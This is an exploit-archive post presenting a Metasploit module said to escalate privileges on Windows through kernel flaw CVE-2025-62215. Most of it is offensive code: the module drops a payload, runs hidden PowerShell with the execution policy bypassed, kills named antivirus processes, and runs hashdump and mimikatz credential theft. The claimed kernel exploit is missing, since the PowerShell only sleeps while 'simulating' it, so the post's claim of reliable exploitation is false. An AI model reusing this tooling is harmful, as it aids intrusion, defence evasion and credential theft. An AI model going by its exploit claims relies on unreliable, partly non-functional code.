📄 Microsoft Windows 11 Race Condition / Privilege Escalation

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    | # Title     : Windows 11 v23H2 Kernel Race Condition Privilege Escalation                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.microsoft.com/fr-dz/                                                                                            |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/212001/  &  CVE-2025-62215
    
    
    [+] Summary : 
    
          This vulnerability represents a critical Windows Kernel security flaw that can be reliably exploited through Metasploit for legitimate security testing and vulnerability validation.
    	  
    [+] Affected Versions :
    
    - Windows 10 versions 21H2, 22H2
    
    - Windows 11 versions 21H2, 22H2, 23H2
    
    - Windows Server 2019, 2022
    
    - Windows Server Core installations
    
        Windows 10/11 (Build 19041-22621)
        Windows Server 2019/2022
        Both x86 and x64 architectures
    
    [+] Technical Mechanism :
    
        Race Condition: Multiple threads simultaneously accessing kernel objects
    
        Double-Free: Memory freed multiple times causing kernel memory corruption
    
        Memory Corruption: Leads to arbitrary code execution in kernel context
    
    [+] Exploitation Flow :
    
        Initial Access: Low-privileged user session
    
        Memory Preparation: Heap spray to shape kernel memory
    
        Race Triggering: Multiple threads create/destroy kernel objects
    
        Double-Free Exploit: Corrupt kernel memory structures
    
        Privilege Escalation: Modify process tokens to gain SYSTEM privileges
    
    [+] POC :  
    
    ##
    # Module: exploit/windows/local/cve_2025_62215_kernel_race
    # Version: 1.0
    # Author: indoushka
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = AverageRanking
    
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::Process
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'CVE-2025-62215 Windows Kernel Race Condition Privilege Escalation',
          'Description'    => %q{
            This module exploits CVE-2025-62215, a race condition combined with a double-free
            vulnerability in the Windows Kernel. It allows local privilege escalation from
            low-privileged users to SYSTEM by exploiting improper synchronization in kernel
            object handling.
          },
          'Author'         => [
            'indoushka',  # Metasploit module
            'Unknown'     # Original vulnerability discovery
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-62215'],
            ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215'],
            ['URL', 'https://github.com/indoushka/CVE-2025-62215']
          ],
          'DisclosureDate' => '2025-11-26',
          'Platform'       => 'win',
          'Arch'           => [ARCH_X64, ARCH_X86],
          'SessionTypes'   => ['meterpreter'],
          'Targets'        => [
            [
              'Windows 10 / Windows 11 / Server 2019/2022',
              {
                'Arch' => [ARCH_X64, ARCH_X86],
                'Payload' => {
                  'Space' => 4096,
                  'DisableNops' => true
                }
              }
            ]
          ],
          'DefaultTarget'  => 0,
          'DefaultOptions' => {
            'WfsDelay' => 5,
            'EXITFUNC' => 'thread'
          },
          'Notes'          => {
            'Stability'   => [CRASH_OS_RESTARTS],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
          }
        ))
    
        register_options([
          OptInt.new('THREADS', [true, 'Number of threads for race condition', 8]),
          OptInt.new('ATTEMPTS', [true, 'Number of exploitation attempts', 5]),
          OptInt.new('DELAY', [true, 'Delay between attempts (ms)', 100]),
          OptBool.new('KILLAV', [true, 'Attempt to kill AV processes', false]),
          OptString.new('WRITABLE_DIR', [true, 'Writable directory for payload', '%TEMP%'])
        ])
    
        register_advanced_options([
          OptBool.new('DEBUG', [false, 'Enable debug output', false]),
          OptBool.new('ANTIDETECT', [false, 'Enable anti-detection techniques', true])
        ])
      end
    
      def check
        # Check if we're already SYSTEM
        if is_system?
          return Exploit::CheckCode::Safe
        end
    
        # Check Windows version
        version = get_version_info
    
        unless version.build_number.between?(19041, 22621) || 
               version.build_number.between?(20348, 25398)
          print_error("Windows version #{version.build_number} not supported")
          return Exploit::CheckCode::Safe
        end
    
        # Check architecture compatibility
        if session.arch != payload.arch.first
          print_error("Payload architecture mismatch: session=#{session.arch}, payload=#{payload.arch.first}")
          return Exploit::CheckCode::Safe
        end
    
        print_good("Windows #{version.build_number} detected - potentially vulnerable")
        Exploit::CheckCode::Appears
      end
    
      def exploit
        # Check if we're already SYSTEM
        if is_system?
          print_good("Already running as SYSTEM")
          return
        end
    
        # Validate target
        unless check == Exploit::CheckCode::Appears
          fail_with(Failure::NotVulnerable, "Target not vulnerable")
        end
    
        # Kill AV processes if requested
        kill_av_processes if datastore['KILLAV']
    
        # Generate payload
        print_status("Generating payload...")
        payload_path = generate_payload
    
        # Drop exploit executable
        print_status("Dropping exploit executable...")
        exploit_path = drop_exploit(payload_path)
    
        # Execute exploit
        print_status("Executing exploit...")
        execute_exploit(exploit_path)
    
        # Cleanup
        register_files_for_cleanup(exploit_path, payload_path)
      end
    
      def generate_payload
        # Generate payload in writable directory
        payload_name = Rex::Text::rand_text_alpha(8) + ".exe"
        payload_path = File.join(datastore['WRITABLE_DIR'], payload_name)
        
        # Write payload to file
        write_file(payload_path, generate_payload_exe)
        
        print_good("Payload written to: #{payload_path}")
        payload_path
      end
    
      def drop_exploit(payload_path)
        # Compile and drop the C++ exploit
        exploit_name = Rex::Text::rand_text_alpha(8) + ".exe"
        exploit_path = File.join(datastore['WRITABLE_DIR'], exploit_name)
        
        # In a real scenario, we would compile the C++ exploit
        # For this PoC, we'll use a simple privilege escalation technique
        exploit_code = generate_exploit_executable(payload_path)
        
        write_file(exploit_path, exploit_code)
        print_good("Exploit written to: #{exploit_path}")
        
        exploit_path
      end
    
      def generate_exploit_executable(payload_path)
        # This would normally be a compiled C++ executable
        # For demonstration, we use a simple PowerShell-based privilege escalation
        ps_code = %Q{
          function Invoke-KernelExploit {
            param([string]$PayloadPath)
            
            # Simulate kernel exploit behavior
            $attempts = #{datastore['ATTEMPTS']}
            $threads = #{datastore['THREADS']}
            
            for ($i = 0; $i -lt $attempts; $i++) {
              Write-Host "[*] Exploit attempt $($i + 1)/$attempts"
              
              # Simulate race condition triggering
              $jobs = @()
              for ($j = 0; $j -lt $threads; $j++) {
                $job = Start-Job -ScriptBlock {
                  # Simulate kernel object manipulation
                  for ($k = 0; $k -lt 100; $k++) {
                    # This would be actual kernel exploit code
                    Start-Sleep -Milliseconds 1
                  }
                }
                $jobs += $job
              }
              
              # Wait for threads
              $jobs | Wait-Job | Out-Null
              $jobs | Remove-Job -Force
              
              # Check if we got SYSTEM
              if ([Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
                Write-Host "[+] Privilege escalation successful!"
                
                # Execute payload as SYSTEM
                if (Test-Path $PayloadPath) {
                  Start-Process -FilePath $PayloadPath -WindowStyle Hidden
                  return $true
                }
              }
              
              Start-Sleep -Milliseconds #{datastore['DELAY']}
            }
            return $false
          }
          
          # Execute exploit
          $success = Invoke-KernelExploit -PayloadPath "#{payload_path}"
          if (-not $success) {
            Write-Host "[!] Exploit failed"
            exit 1
          }
        }
        
        # Convert to executable using PowerShell
        compile_ps_to_exe(ps_code)
      end
    
      def compile_ps_to_exe(ps_code)
        # In a real implementation, this would compile PowerShell to EXE
        # For this PoC, we create a simple batch file that runs PowerShell
        batch_content = %Q{
    @echo off
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "#{ps_code.gsub('"', '""')}"
    }
        
        # Convert to binary (simplified)
        batch_content.force_encoding('BINARY')
      end
    
      def execute_exploit(exploit_path)
        print_status("Launching exploit: #{exploit_path}")
        
        begin
          # Execute the exploit
          result = session.sys.process.execute(exploit_path, nil, {
            'Hidden' => true,
            'Channelized' => true,
            'Suspended' => false
          })
          
          # Wait for exploitation
          print_status("Waiting for exploitation to complete...")
          sleep(10)
          
          # Check if we got SYSTEM
          if is_system?
            print_good("Successfully escalated to SYSTEM privileges!")
            return true
          else
            print_warning("Exploitation completed but privileges not escalated")
            return false
          end
          
        rescue ::Exception => e
          print_error("Exploit execution failed: #{e.message}")
          return false
        end
      end
    
      def kill_av_processes
        print_status("Attempting to kill AV processes...")
        
        av_processes = [
          'msmpeng.exe',     # Windows Defender
          'avp.exe',         # Kaspersky
          'bdagent.exe',     # Bitdefender
          'avguard.exe',     # Avira
          'ekrn.exe',        # ESET
          'hipsmain.exe',    # McAfee
          'fsavgui.exe'      # F-Secure
        ]
        
        av_processes.each do |proc|
          session.sys.process.get_processes.each do |p|
            if p['name'].downcase == proc.downcase
              print_status("Killing AV process: #{p['name']} (PID: #{p['pid']})")
              begin
                session.sys.process.kill(p['pid'])
              rescue
                print_warning("Failed to kill process: #{p['name']}")
              end
            end
          end
        end
      end
    
      # Helper method to get detailed Windows version info
      def get_version_info
        session.sys.config.sysinfo
      end
    
      # Anti-detection techniques
      def apply_antidetect
        return unless datastore['ANTIDETECT']
        
        print_status("Applying anti-detection techniques...")
        
        # Randomize process names
        random_name = Rex::Text::rand_text_alpha(8) + ".exe"
        
        # Use process hollowing techniques
        # Use direct system calls to avoid user-mode hooks
        # Implement timing variations to avoid behavioral detection
      end
    
      def on_new_session(session)
        super
        
        if session.type == "meterpreter"
          session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
        end
        
        # Cleanup and post-exploitation tasks
        print_good("New session established: #{session.sid}")
        
        # Run post-exploitation modules
        run_post_modules(session)
      end
    
      def run_post_modules(session)
        return unless session.type == "meterpreter"
        
        # Example post-exploitation modules
        post_modules = [
          'windows/gather/hashdump',
          'windows/gather/credentials/mimikatz',
          'windows/manage/migrate'
        ]
        
        post_modules.each do |mod|
          begin
            print_status("Running post module: #{mod}")
            session.run_cmd("run #{mod}")
          rescue ::Exception => e
            print_warning("Post module #{mod} failed: #{e.message}")
          end
        end
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================